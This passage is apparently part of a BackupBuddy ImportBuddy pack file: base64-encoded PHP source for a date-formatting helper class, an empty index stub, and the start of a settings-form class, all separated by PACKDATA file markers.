GF0ZSggJHRoaXMtPl90aW1lc3RhbXAsICR0aW1lc3RhbXAgKTsKCQl9IGVsc2UgewoJCQlyZXR1cm4gZGF0ZSggJGN1c3RvbUZvcm1hdCwgJHRpbWVzdGFtcCApOwoJCX0KCX0gLy8gRW5kIGRhdGUoKS4KCgoJLyoqCgkgKiBSZXR1cm5zIHRoZSBkZWZhdWx0IGRhdGUgZm9ybWF0LgoJICoKCSAqIEByZXR1cm4gc3RyaW5nICBEYXRlIGZvcm1hdCBzdHJpbmcuCgkgKi8KCWZ1bmN0aW9uIGdldF9kYXRlX2Zvcm1hdCgpIHsKCQlyZXR1cm4gJHRoaXMtPl90aW1lc3RhbXA7Cgl9CgoKCS8qCXBsdWdpbmJ1ZGR5X2Zvcm1hdC0+bG9jYWxpemVfdGltZSgpCgkgKgoJICoJTG9jYWxpemVzIHRpbWUgZm9yIHRoZSBjdXJyZW50IHVzZXIgZm9yIGRpc3BsYXkuCgkgKgoJICoJQHBhcmFtCQlpbnQJCSR0aW1lc3RhbXAJCVRpbWVzdGFtcCB0byByZW1vdmUgdGltZSBvZmZzZXQgZm9yLgoJICoJQHJldHVybgkJaW50CQkJCQkJQ29ycmVjdGVkIHRpbWVzdGFtcC4KCSAqLwoJZnVuY3Rpb24gbG9jYWxpemVfdGltZSggJHRpbWVzdGFtcCApIHsKCQlpZiAoIGZ1bmN0aW9uX2V4aXN0cyggJ2dldF9vcHRpb24nICkgKSB7CgkJCSRnbXRfb2Zmc2V0ID0gZ2V0X29wdGlvbiggJ2dtdF9vZmZzZXQnICk7CgkJfSBlbHNlIHsKCQkJJGdtdF9vZmZzZXQgPSAwOwoJCX0KCQlyZXR1cm4gJHRpbWVzdGFtcCArICggJGdtdF9vZmZzZXQgKiAzNjAwICk7Cgl9IC8vIEVuZCBsb2NhbGl6ZV90aW1lKCkuCgoKCgkvKglwbHVnaW5idWRkeV9mb3JtYXQtPnVubG9jYWxpemVfdGltZSgpCgkgKgoJICoJUmVtb3ZlcyB0aGUgdGltZXpvbmUgb2Zmc2V0IG9mIGEgbG9jYWxpemVkIHRpbWUgZGlzcGxheSBmb3IgYSB1c2VyLgoJICoKCSAqCUBwYXJhbQkJaW50CQkkdGltZXN0YW1wCQlUaW1lc3RhbXAgdG8gcmVtb3ZlIHRpbWUgb2Zmc2V0IGZvci4KCSAqCUByZXR1cm4JCWludAkJCQkJCUNvcnJlY3RlZCB0aW1lc3RhbXAuCgkgKi8KCWZ1bmN0aW9uIHVubG9jYWxpemVfdGltZSggJHRpbWVzdGFtcCApIHsKCQlyZXR1cm4gJHRpbWVzdGFtcCAtICggZ2V0X29wdGlvbiggJ2dtdF9vZmZzZXQnICkgKiAzNjAwICk7Cgl9IC8vIEVuZCB1bmxvY2FsaXplX3RpbWUoKS4KCgoKCS8qCXBsdWdpbmJ1ZGR5X2Zvcm1hdC0+dGltZV9hZ28oKQoJICoKCSAqCUFjY2VwdHMgTk9OLWxvY2FsaXplZCB0aW1lc3RhbXBzLgoJICoJQHNlZSB0aW1lX2R1cmF0aW9uCgkgKgoJICoJQHBhcmFtCgkgKglAcmV0dXJuCgkgKi8KCSAvLyBUT0RPOiBkZXByZWNhdGVkPwoJZnVuY3Rpb24gdGltZV9hZ28oICR0aW1lc3RhbXAgKSB7CgkJcmV0dXJuIGh1bWFuX3RpbWVfZGlmZiggJHRpbWVzdGFtcCwgdGltZSgpICk7Cgl9IC8vIEVuZCB0aW1lX2FnbygpLgoKCgoJLyoJcGx1Z2luYnVkZHlfZm9ybWF0LT5kdXJhdGlvbigpCgkgKgoJICoJUmV0dXJucyBhIGh1bWFuIHJlYWRhYmxlIGR1cmF0aW9uLiBVc2VmdWwgZm9yIHRpbWUgYWdvIG9yIGNvdW50ZG93bnMuCgkgKglFeDogNSBob3VycywgNCBtaW51dGVzLCA0MyBzZWNvbmRzLgoJICoKCSAqCUBwYXJhbQkJaW50CQkkc2Vjb25kcwkJTnVtYmVyIG9mIHNlY29uZHMgdG8gdHVybiBpbnRvIGEgaHVtYW4gZnJpZW5kbHkgcmVhZGFibGUgZm9ybWF0LgoJICoJQHJldHVybgkJCQlzdHJpbmcJCQlIdW1hbiByZWFkYWJsZSBzdHJpbmcgZHVyYXRpb24uCgkgKi8KCWZ1bmN0aW9uIHRpbWVfZHVyYXRpb24oICRzZWNvbmRzICkgewoJCSR0aW1lID0gdGltZSgpIC0gJHNlY29uZHM7CgoJCSRwZXJpb2RzID0gYXJyYXkoX18oJ3NlY29uZCcsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQkJCQkgX18oJ21pbnV0ZScsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQkJCQkgX18oJ2hvdXInLCAgICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQkJCQkgX18oJ2RheScsIAkgICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQkJCQkgX18oJ3dlZWsnLCAgICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQkJCQkgX18oJ21vbnRoJywgICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQkJCQkgX18oJ3llYXInLCAgICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJCQkJCQkgX18oJ2RlY2FkZScuICdMSU9OJyApCgkJCQkJCSApOwoJCSRsZW5ndGhzID0gYXJyYXkoJzYwJywnNjAnLCcyNCcsJzcnLCc0LjM1JywnMTInLCcxMCcpOwoKCQkkbm93ID0gdGltZSgpOwoKCQkkZGlmZmVyZW5jZSA9ICRub3cgLSAkdGltZTsKCQkkdGVuc2UgPSBfXygnYWdvJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7CgoKCQlmb3IoJGogPSAwOyAkZGlmZmVyZW5jZSA+PSAkbGVuZ3Roc1skal0gJiYgJGogPCBjb3VudCgkbGVuZ3RocyktMTsgJGorKykgewoJCQkkZGlmZmVyZW5jZSAvPSAkbGVuZ3Roc1skal07CgkJfQoKCQkkZGlmZmVyZW5jZSA9IHJvdW5kKCRkaWZmZXJlbmNlKTsKCgkJaWYoJGRpZmZlcmVuY2UgIT0gMSkgewoJCQkkcGVyaW9kc1skal0uPSAicyI7CgkJfQoKCQlyZXR1cm4gIiRkaWZmZXJlbmNlICRwZXJpb2RzWyRqXSI7Cgl9IC8vIEVuZCBkdXJhdGlvbigpLgoKCgoJLyoJcHJldHRpZnkoKQoJICoKCSAqCVRha2VzIGEgc3RyaW5nIGFuZCByZXR1cm5zIGEgbW9yZSBwcmV0dHkgdmVyc2lvbi4gTG9va3MgaW4gYW4gYXJyYXkgZm9yIGEga2V5IG1hdGNoaW5nIHRoZSBzdHJpbmcuCgkgKglSZXR1cm5zIHRoZSBhc3NvY2lhdGVkIHZhbHVlLiBSZXR1cm5zIG9yaWdpbmFsIHZhbHVlIGlmIG5vIHByZXR0eSByZXBsYWNlciBpcyBmb3VuZC4KCSAqCUV4OgoJICoJCXByZXR0aWZ5KCAnZG9nJywgYXJyYXkoICdjYXRzJyA9PiAnQ2F0cycsICdkb2cnID0+ICdEb2cnICkgKTsKCSAqCQlSZXR1cm5zOiBEb2cKCSAqCgkgKglAcGFyYW0JCXN0cmluZwkJJHZhbHVlCQkJVmFsdWUgdG8gYmUgcmVwbGFjZWQgd2l0aCBhIHByZXR0eSB2ZXJzaW9uLgoJICoJQHBhcmFtCQlhcnJheQkJJHJlcGxhY2VtZW50cwlBcnJheSBvZjogdmFsdWUgdG8gbG9vayBmb3IgPT4gdmFsdWUgdG8gcmVwbGFjZSB3aXRoLgoJICoJQHJldHVybgkJc3RyaW5nCQkJCQkJUHJldHR5IHZlcnNpb24gdGhhdCByZXBsYWNlZCAkdmFsdWUuIFJldHVybnMgb3JpZ2luYWwgJHZhbHVlIGlmIG5vdCBmb3VuZCBpbiAkcmVwbGFjZW1lbnRzIGtleXMuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBwcmV0dGlmeSggJHZhbHVlLCAkcmVwbGFjZW1lbnRzICkgewoKCQlpZiAoIGlzc2V0KCAkcmVwbGFjZW1lbnRzWyR2YWx1ZV0gKSApIHsgLy8gRm91bmQgcmVwbGFjZW1lbnQuCgkJCXJldHVybiAkcmVwbGFjZW1lbnRzWyR2YWx1ZV07CgkJfSBlbHNlIHsgLy8gTm8gcmVwbGFjZW1lbnQ7IHJldHVybiBvcmlnaW5hbCB2YWx1ZS4KCQkJcmV0dXJuICR2YWx1ZTsKCQl9CgoJfSAvLyBFbmQgcHJldHRpZnkoKTsKCgoKCS8qIG11bHRpX2ltcGxvZGUoKQoJICoKCSAqIERlZXAgcmVjdXJzaXZlIGltcGxvc2lvbi4KCSAqCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBtdWx0aV9pbXBsb2RlKCRhcnJheSwgJGdsdWUpIHsKCSAgICAkcmV0ID0gJyc7CgoJICAgIGZvcmVhY2ggKCRhcnJheSBhcyAkaXRlbSkgewoJICAgICAgICBpZiAoaXNfYXJyYXkoJGl0ZW0pKSB7CgkgICAgICAgICAgICAkcmV0IC49ICR0aGlzLT5tdWx0aV9pbXBsb2RlKCRpdGVtLCAkZ2x1ZSkgLiAkZ2x1ZTsKCSAgICAgICAgfSBlbHNlIHsKCSAgICAgICAgICAgICRyZXQgLj0gJGl0ZW0gLiAkZ2x1ZTsKCSAgICAgICAgfQoJICAgIH0KCgkgICAgJHJldCA9IHN1YnN0cigkcmV0LCAwLCAwLXN0cmxlbigkZ2x1ZSkpOwoKCSAgICByZXR1cm4gJHJldDsKCX0gLy8gRW5kIG11bHRpX2ltcGxvZGUoKS4KCgoKfSAvLyBFbmQgY2xhc3MgcGx1Z2luYnVkZHlfc2V0dGluZ3MuCgo=
###PACKDATA,FILE_END,/pluginbuddy/classes/format.php,importbuddy/pluginbuddy/classes/format.php
###PACKDATA,FILE_START,/pluginbuddy/classes/index.php,importbuddy/pluginbuddy/classes/index.php
PD9waHAKLyoqCiAqIFNpbGVuY2UgaXMgZ29sZGVuLgogKgogKiBAcGFja2FnZSBCYWNrdXBCdWRkeQogKi8K
###PACKDATA,FILE_END,/pluginbuddy/classes/index.php,importbuddy/pluginbuddy/classes/index.php
###PACKDATA,FILE_START,/pluginbuddy/classes/settings.php,importbuddy/pluginbuddy/classes/settings.php
PD9waHAKLyoqCiAqIFBsdWdpbkJ1ZGR5IFNldHRpbmdzIENsYXNzCiAqCiAqIEBwYWNrYWdlIEJhY2t1cEJ1ZGR5CiAqLwoKLyoqCiAqIEhhbmRsZXMgc2V0dGluZyB1cCBhbmQgcGFyc2luZyBzdWJtaXR0ZWQgZGF0YSBmb3Igc2V0dGluZ3MgcGFnZXMuIFVzZXMgZm9ybSBjbGFzcyBmb3IgaGFuZGxpbmcgZm9ybXMuCiAqIElmIGEgc2F2ZXBvaW50IGlzIHBhc3NlZCB0byB0aGUgY29uc3RydWN0b3IgdGhlbiBzZXR0aW5ncyB3aWxsIGJlIGF1dG8tc2F2ZWQgb24gc2F2ZS4KICogSWYgZmFsc2UgaXMgcGFzc2VkIHRvIHRoZSBzYXZlcG9pbnQgdGhlbiB0aGUgcHJvY2VzcygpIGZ1bmN0aW9uIG1heSBiZSB1c2VkIHRvIHZhbGlkYXRlIGFuZCBncmFiIHN1Ym1pdHRlZCBmb3JtIGRhdGEgZm9yIGN1c3RvbSBwcm9jZXNzaW5nLgogKgogKiBAc2VlIHBsdWdpbmJ1ZGR5X2Zvcm0KICoKICogQGF1dGhvciBEdXN0aW4gQm9sdG9uCiAqLwpjbGFzcyBwYl9iYWNrdXBidWRkeV9zZXR0aW5ncyB7CgoJLyoqCgkgKiBUaGUgRm9ybSBPYmplY3QKCSAqCgkgKiBAdmFyIHBiX2Jha2N1cGJ1ZGR5X2Zvcm0KCSAqLwoJcHJpdmF0ZSAkX2Zvcm07CgoJLyoqCgkgKiBGb3JtIE5hbWUKCSAqCgkgKiBAdmFyIHN0cmluZwoJICovCglwcml2YXRlICRfZm9ybV9uYW1lID0gJyc7CgoJLyoqCgkgKiBGb3JtIHByZWZpeAoJICoKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXByaXZhdGUgJF9wcmVmaXggPSAnJzsKCgkvKioKCSAqIFNhdmVwb2ludCBzdGF0dXMKCSAqCgkgKiBAdmFyIHN0cmluZwoJICovCglwcml2YXRlICRfc2F2ZXBvaW50OwoKCS8qKgoJICogU2V0dGluZ3MgYXJyYXkKCSAqCgkgKiBAdmFyIGFycmF5CgkgKi8KCXByaXZhdGUgJF9zZXR0aW5ncyA9IGFycmF5KCk7CgoJLyoqCgkgKiBDdXN0b20gVGl0bGUgV2lkdGgKCSAqCgkgKiBAdmFyIGludAoJICovCglwcml2YXRlICRfY3VzdG9tX3RpdGxlX3dpZHRoID0gJyc7CgoJLyoqCgkgKiBEZWZhdWx0IGNvbnN0cnVjdG9yLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJGZvcm1fbmFtZSAgICAgICAgICAgICAgICAgIE5hbWUgLyBzbHVnIG9mIHRoZSBmb3JtLgoJICogQHBhcmFtIG1peGVkICAkc2F2ZV9wb2ludF9vcl9jdXN0b21fbW9kZSAgTG9jYXRpb24gaW4gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zIGFycmF5IHRvIHNhdmUgdG8uIEV4OiBncm91cHMjNSBzYXZlcyBpbnRvOiBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2dyb3VwcyddWzVdLgoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWYgZmFsc2UsIHRoZSBwcm9jZXNzKCkgZnVuY3Rpb24gd2lsbCBub3Qgc2F2ZSBidXQgd2lsbCByZXR1cm4gcmVzdWx0cyBpbnN0ZWFkIGluY2x1ZGluZyBmb3JtIG5hbWUgPT4gdmFsdWUgcGFpcnMgaW4gYW4gYXJyYXkgZm9yIHByb2Nlc3NpbmcuCgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJZiBhcnJheSwgdGhlbiB0aGVzZSB3aWxsIGJlIHRyZWF0ZWQgYXMgdGhlIGRlZmF1bHRzLiBXb3JrcyB0aGUgc2FtZSBhcyBiZWluZyBmYWxzZSBvdGhlciB0aGFuIHRoaXMuCgkgKiBAcGFyYW0gc3RyaW5nICRhZGRpdGlvbmFsX3F1ZXJ5X3N0cmluZyAgICBBZGRpdGlvbmFsIHF1ZXJ5c3RyaW5nIHZhcmlhYmxlcyB0byBwYXNzIGluIHRoZSBmb3JtIGFjdGlvbiBVUkwuCgkgKiBAcGFyYW0gaW50ICAgICRjdXN0b21fdGl0bGVfd2lkdGggICAgICAgICBDdXN0b20gdGl0bGUgd2lkdGggaW4gcGl4ZWxzLiBGb3JtYXRzIHRhYmxlIHNpemluZy4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCAkZm9ybV9uYW1lLCAkc2F2ZV9wb2ludF9vcl9jdXN0b21fbW9kZSwgJGFkZGl0aW9uYWxfcXVlcnlfc3RyaW5nID0gJycsICRjdXN0b21fdGl0bGVfd2lkdGggPSAnJyApIHsKCQkkdGhpcy0+X2Zvcm1fbmFtZSAgICAgICAgICA9ICRmb3JtX25hbWU7CgkJJHRoaXMtPl9wcmVmaXggICAgICAgICAgICAgPSAncGJfJyAuIHBiX2JhY2t1cGJ1ZGR5OjpzZXR0aW5ncyggJ3NsdWcnICkgLiAnXyc7CgkJJHRoaXMtPl9zYXZlcG9pbnQgICAgICAgICAgPSAkc2F2ZV9wb2ludF9vcl9jdXN0b21fbW9kZTsKCQkkdGhpcy0+X2N1c3RvbV90aXRsZV93aWR0aCA9ICRjdXN0b21fdGl0bGVfd2lkdGg7CgoJCS8vIFRPRE86IG5vIG5lZWQgdG8gcGFzcyBzYXZlcG9pbnQgaGVyZT8KCQkkdGhpcy0+X2Zvcm0gPSBuZXcgcGJfYmFja3VwYnVkZHlfZm9ybSggJGZvcm1fbmFtZSwgJHNhdmVfcG9pbnRfb3JfY3VzdG9tX21vZGUsICRhZGRpdGlvbmFsX3F1ZXJ5X3N0cmluZyApOwoJfSAvLyBFbmQgX19jb25zdHJ1Y3QoKS4KCgkvKioKCSAqIFJlZ2lzdGVyIGFuZCBhZGQgYSBzZXR0aW5nIHRvIHRoZSBzZXR0aW5ncyBmb3JtIHN5c3RlbS4KCSAqCgkgKiBAcGFyYW0gYXJyYXkgJHNldHRpbmdzICBBcnJheSBvZiBzZXR0aW5ncyBmb3IgdGhpcyBhZGRlZCBzZXR0aW5nLiBTZWUgJGRlZmF1bHRfc2V0dGluZ3MgZm9yIGxpc3Qgb2Ygb3B0aW9ucyB0aGF0IGNhbiBiZSBkZWZpbmVkLgoJICovCglwdWJsaWMgZnVuY3Rpb24gYWRkX3NldHRpbmcoICRzZXR0aW5nc19jb25maWcgKSB7CgkJJGRlZmF1bHRfY29uZmlnICA9IGFycmF5KAoJCQkndHlwZScgICAgICAgID0+ICcnLAoJCQknbmFtZScgICAgICAgID0+ICcnLAoJCQkndGl0bGUnICAgICAgID0+ICcnLAoJCQkndGlwJyAgICAgICAgID0+ICcnLAoJCQknY3NzJyAgICAgICAgID0+ICcnLAoJCQknYmVmb3JlJyAgICAgID0+ICcnLAoJCQknYWZ0ZXInICAgICAgID0+ICcnLAoJCQkncnVsZXMnICAgICAgID0+ICcnLAoJCQknZGVmYXVsdCcgICAgID0+ICcnLCAgICAgICAgICAgICAgICAgLy8gSU1QT1JUQU5UOiBPdmVycmlkZXMgZGVmYXVsdCBhcnJheS4gQWxzbyB1c2VmdWwgaWYgc2F2ZXBvaW50IGlzID09PSBmYWxzZSB0byBvdmVycmlkZS4KCQkJJ29wdGlvbnMnICAgICA9PiBhcnJheSgpLAoJCQknb3JpZW50YXRpb24nID0+ICdob3Jpem9udGFsJywgICAgICAgLy8gVXNlZCBieSByYWRpbyBhbmQgY2hlY2tib3hlcy4gVE9ETzogc3RpbGwgbmVlZCB0byBhZGQgdG8gY2hlY2tib3hlcy4KCQkJJ2NsYXNzJyAgICAgICA9PiAnJywKCQkJJ2NsYXNzZXMnICAgICA9PiAnJywgICAgICAgICAgICAgICAgIC8vIFN0cmluZyBvZiBhZGRpdGlvbmFsIGNsYXNzZXMuCgkJCSdyb3dfY2xhc3MnICAgPT4gJycsICAgICAgICAgICAgICAgICAvLyBDbGFzcyB0byBhcHBseSB0byByb3cgdGQncyBpbiByb3cuCgkJKTsKCQkkc2V0dGluZ3NfY29uZmlnICAgPSBhcnJheV9tZXJnZSggJGRlZmF1bHRfY29uZmlnLCAkc2V0dGluZ3NfY29uZmlnICk7CgkJJHRoaXMtPl9zZXR0aW5nc1tdID0gJHNldHRpbmdzX2NvbmZpZzsKCgkJLy8gRmlndXJlIG91dCBkZWZhdWx0cy4KCQlpZiAoICcnICE9ICRzZXR0aW5nc19jb25maWdbJ2RlZmF1bHQnXSApIHsgLy8gRGVmYXVsdCB3YXMgcGFzc2VkIHRvIGFkZF9zZXR0aW5nKCkuCgkJCSRkZWZhdWx0X3ZhbHVlID0gJHNldHRpbmdzX2NvbmZpZ1snZGVmYXVsdCddOwoJCX0gZWxzZSB7IC8vIE5vIGRlZmF1bHQgZXhwbGljdGx5IHNldC4KCQkJJHNhdmVwb2ludCAgICAgID0gJHRoaXMtPl9zYXZlcG9pbnQ7CgkJCSRyYXdfbmFtZSAgICAgICA9ICRzZXR0aW5nc19jb25maWdbJ25hbWUnXTsKCQkJJGxhc3RfaGFzaHBvaW50ID0gc3RycnBvcyggJHNldHRpbmdzX2NvbmZpZ1snbmFtZSddLCAnIycgKTsKCQkJaWYgKCBmYWxzZSAhPT0gJGxhc3RfaGFzaHBvaW50ICkgewoJCQkJJHRlbXBfc2F2ZXBvaW50ID0gc3Vic3RyKCAkc2V0dGluZ3NfY29uZmlnWyduYW1lJ10sIDAsICRsYXN0X2hhc2hwb2ludCApOwoJCQkJaWYgKCBmYWxzZSA9PT0gJHNhdmVwb2ludCB8fCAnJyA9PSAkc2F2ZXBvaW50ICkgewoJCQkJCSRzYXZlcG9pbnQgPSAkdGVtcF9zYXZlcG9pbnQ7CgkJCQl9IGVsc2UgewoJCQkJCSRzYXZlcG9pbnQgPSAkc2F2ZXBvaW50IC4gJyMnIC4gJHRlbXBfc2F2ZXBvaW50OwoJCQkJfQoJCQkJJHJhd19uYW1lID0gc3Vic3RyKCAkc2V0dGluZ3NfY29uZmlnWyduYW1lJ10sICRsYXN0X2hhc2hwb2ludCArIDEgKTsgLy8gSXRlbSBuYW1lIHdpdGggc2F2ZXBvaW50IHBvcnRpb24gc3RyaXBwZWQgb3V0LgoJCQl9CgkJCWlmICggZmFsc2UgIT09ICRzYXZlcG9pbnQgKSB7CgoJCQkJaWYgKCBpc19hcnJheSggJHNhdmVwb2ludCApICkgeyAvLyBBcnJheSBvZiBkZWZhdWx0cyB3YXMgcGFzc2VkIGluc3RlYWQgb2Ygc2F2ZXBvaW50LgoJCQkJCWlmICggaXNzZXQoICRzYXZlcG9pbnRbICRyYXdfbmFtZSBdICkgKSB7CgkJCQkJCSRkZWZhdWx0X3ZhbHVlID0gJHNhdmVwb2ludFsgJHJhd19uYW1lIF07CgkJCQkJfSBlbHNlIHsKCQkJCQkJJGRlZmF1bHRfdmFsdWUgPSAnJzsKCQkJCQl9CgkJCQl9IGVsc2UgeyAvLyBObyBkZWZhdWx0cyBwcm92aWRlZCwgc2VlayB0aGVtIG91dCBpbiBwbHVnaW5zIG9wdGlvbnMgYXJyYXkuCgoJCQkJCS8vIERlZmF1bHQgdmFsdWVzIGFyZSBvdmVyd3JpdHRlbiBhZnRlciBhIHByb2Nlc3MoKSBydW4gd2l0aCB0aGUgbGF0ZXN0IGRhdGEgaWYgYSBmb3JtIHdhcyBzdWJtaXR0ZWQuCgkJCQkJJGdyb3VwID0gcGJfYmFja3VwYnVkZHk6OmdldF9ncm91cCggJHNhdmVwb2ludCApOwoJCQkJCWlmICggZmFsc2UgPT09ICRncm91cCApIHsKCQkJCQkJJGRlZmF1bHRfdmFsdWUgPSAnJzsKCQkJCQl9IGVsc2UgewoJCQkJCQlpZiAoIGlzc2V0KCAkZ3JvdXBbICRyYXdfbmFtZSBdICkgKSB7IC8vIERlZmF1bHQgaXMgZGVmaW5lZC4KCQkJCQkJCSRkZWZhdWx0X3ZhbHVlID0gJGdyb3VwWyAkcmF3X25hbWUgXTsKCQkJCQkJfSBlbHNlIHsgLy8gRGVmYXVsdCBub3QgZGVmaW5lZC4KCQkJCQkJCSRkZWZhdWx0X3ZhbHVlID0gJyc7CgkJCQkJCX0KCQkJCQl9CgkJCQl9IC8vIGVuZCBmaW5kaW5nIGRlZmF1bHRzIGluIHBsdWdpbiBvcHRpb25zLgoJCQl9IGVsc2UgeyAvLyBDdXN0b20gbW9kZSB3aXRob3V0IGEgc2F2ZXBvaW50IHByb3ZpZGVkIHNvIG5vIGRlZmF1bHQgc2V0IHVubGVzcyBwYXNzZWQgdG8gYWRkX3NldHRpbmcoKS4KCQkJCSRkZWZhdWx0X3ZhbHVlID0gJyc7CgkJCX0KCQl9CgoJCS8vIFByb2Nlc3MgYWRkaW5nIGZvcm0gaXRlbSBmb3IgdGhlIHNldHRpbmcgYmFzZWQgb24gdHlwZS4KCQlzd2l0Y2ggKCAkc2V0dGluZ3NfY29uZmlnWyd0eXBlJ10gKSB7CgkJCWNhc2UgJ3RleHQnOgoJCQkJJHRoaXMtPl9mb3JtLT50ZXh0KCAkc2V0dGluZ3NfY29uZmlnWyduYW1lJ10sICRkZWZhdWx0X3ZhbHVlLCAkc2V0dGluZ3NfY29uZmlnWydydWxlcyddICk7CgkJCQlicmVhazsKCQkJY2FzZSAncGxhaW50ZXh0JzoKCQkJCSR0aGlzLT5fZm9ybS0+cGxhaW50ZXh0KCAkc2V0dGluZ3NfY29uZmlnWyduYW1lJ10sICRkZWZhdWx0X3ZhbHVlICk7CgkJCQlicmVhazsKCQkJY2FzZSAnY29sb3InOgoJCQkJJHRoaXMtPl9mb3JtLT5jb2xvciggJHNldHRpbmdzX2NvbmZpZ1snbmFtZSddLCAkZGVmYXVsdF92YWx1ZSwgJHNldHRpbmdzX2NvbmZpZ1sncnVsZXMnXSApOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ2hpZGRlbic6CgkJCQkkdGhpcy0+X2Zvcm0tPmhpZGRlbiggJHNldHRpbmdzX2NvbmZpZ1snbmFtZSddLCAkZGVmYXVsdF92YWx1ZSwgJHNldHRpbmdzX2NvbmZpZ1sncnVsZXMnXSApOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ3d5c2l3eWcnOgoJCQkJJHRoaXMtPl9mb3JtLT53eXNpd3lnKCAkc2V0dGluZ3NfY29uZmlnWyduYW1lJ10sICRkZWZhdWx0X3ZhbHVlLCAkc2V0dGluZ3NfY29uZmlnWydydWxlcyddLCAkc2V0dGluZ3NfY29uZmlnWydzZXR0aW5ncyddICk7CgkJCQlicmVhazsKCQkJY2FzZSAndGV4dGFyZWEnOgoJCQkJJHRoaXMtPl9mb3JtLT50ZXh0YXJlYSggJHNldHRpbmdzX2NvbmZpZ1snbmFtZSddLCAkZGVmYXVsdF92YWx1ZSwgJHNldHRpbmdzX2NvbmZpZ1sncnVsZXMnXSApOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ3NlbGVjdCc6CgkJCQkkdGhpcy0+X2Zvcm0tPnNlbGVjdCggJHNldHRpbmdzX2NvbmZpZ1snbmFtZSddLCAkc2V0dGluZ3NfY29uZmlnWydvcHRpb25zJ10sICRkZWZhdWx0X3ZhbHVlLCAkc2V0dGluZ3NfY29uZmlnWydydWxlcyddICk7CgkJCQlicmVhazsKCQkJY2FzZSAncGFzc3dvcmQnOgoJCQkJJHRoaXMtPl9mb3JtLT5wYXNzd29yZCggJHNldHRpbmdzX2NvbmZpZ1snbmFtZSddLCAkZGVmYXVsdF92YWx1ZSwgJHNldHRpbmdzX2NvbmZpZ1sncnVsZXMnXSApOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ3JhZGlvJzoKCQkJCSR0aGlzLT5fZm9ybS0+cmFkaW8oICRzZXR0aW5nc19jb25maWdbJ25hbWUnXSwgJHNldHRpbmdzX2NvbmZpZ1snb3B0aW9ucyddLCAkZGVmYXVsdF92YWx1ZSwgJHNldHRpbmdzX2NvbmZpZ1sncnVsZXMnXSApOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ2NoZWNrYm94JzoKCQkJCSR0aGlzLT5fZm9ybS0+Y2hlY2tib3goICRzZXR0aW5nc19jb25maWdbJ25hbWUnXSwgJHNldHRpbmdzX2NvbmZpZ1snb3B0aW9ucyddLCAkZGVmYXVsdF92YWx1ZSwgJHNldHRpbmdzX2NvbmZpZ1sncnVsZXMnXSApOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ3N1Ym1pdCc6CgkJCQkkdGhpcy0+X2Zvcm0tPnN1Ym1pdCggJHNldHRpbmdzX2NvbmZpZ1snbmFtZSddLCAnREVGQVVMVCcgKTsgLy8gU3VibWl0IGJ1dHRvbiB0ZXh0IGlzIHNldCBpbiBkaXNwbGF5X3NldHRpbmdzKCkgcGFyYW0uCgkJCQlicmVhazsKCQkJY2FzZSAndGl0bGUnOgoJCQkJJHRoaXMtPl9mb3JtLT50aXRsZSggJHNldHRpbmdzX2NvbmZpZ1snbmFtZSddLCAkZGVmYXVsdF92YWx1ZSwgJHNldHRpbmdzX2NvbmZpZ1sncnVsZXMnXSApOyAvLyBTdWJtaXQgYnV0dG9uIHRleHQgaXMgc2V0IGluIGRpc3BsYXlfc2V0dGluZ3MoKSBwYXJhbS4KCQkJCWJyZWFrOwoJCQljYXNlICdodG1sJzogLy8gUmF3IEhUTUwgdG8gaW5qZWN0IGF0IHRoaXMgc3BvdC4KCQkJCSR0aGlzLT5fZm9ybS0+aHRtbCggJHNldHRpbmdzX2NvbmZpZ1snbmFtZSddLCAkc2V0dGluZ3NfY29uZmlnWydodG1sJ10gKTsKCQkJCWJyZWFrOwoJCQlkZWZhdWx0OgoJCQkJZWNobyAne0Vycm9yOiBVbmtub3duIHNldHRpbmdzIHR5cGUgYCcgLiBlc2NfaHRtbCggJHNldHRpbmdzX2NvbmZpZ1sndHlwZSddICkgLiAnYC59JzsKCQkJCWJyZWFrOwoJCX0KCgl9IC8vIEVuZCBhZGRfc2V0dGluZygpLgoKCS8qKgoJICogUHJvY2Vzc2VzIHRoZSBmb3JtIGlmIGFwcGxpY2FibGUgKGlmIGl0IHdhcyBzdWJtaXR0ZWQpLgoJICogVE9ETzogUGVyaGFwcyBhZGQgY2FsbGJhY2sgYWJpbGl0eSB0byB0aGlzPwoJICogVGhpcyBtdXN0IGNvbWUgYWZ0ZXIgYWxsIGZvcm0gZWxlbWVudHMgaGF2ZSBiZWVuIGFkZGVkLgoJICogVGhpcyBzaG91bGQgdXN1YWxseSBoYXBwZW4gaW4gdGhlIGNvbnRyb2xsZXIgcHJpb3IgdG8gbG9hZGluZyBhIHZpZXcuCgkgKiBJTVBPUlRBTlQ6IEFwcGxpZXMgdHJpbSgpIHRvIGFsbCBzdWJtaXR0ZWQgZm9ybSB2YWx1ZXMhCgkgKgoJICogQHJldHVybiBhcnJheSAgV2hlbiBhIHNhdmVwb2ludCB3YXMgZGVmaW5lZCBpbiBjbGFzcyBjb25zdHJ1Y3RvciBhbiBlbXB0eSBhcnJheSBpcyByZXR1cm5lZC4gKG5vcm1hbCBvcGVyYXRpb24pCgkgKiAgICAgICAgICAgICAgICBXaGVuIHNhdmVwb2ludCA9PT0gZmFsc2UgYW4gYXJyYXkgaXMgcmV0dXJuZWQgZm9yIGN1c3RvbSBmb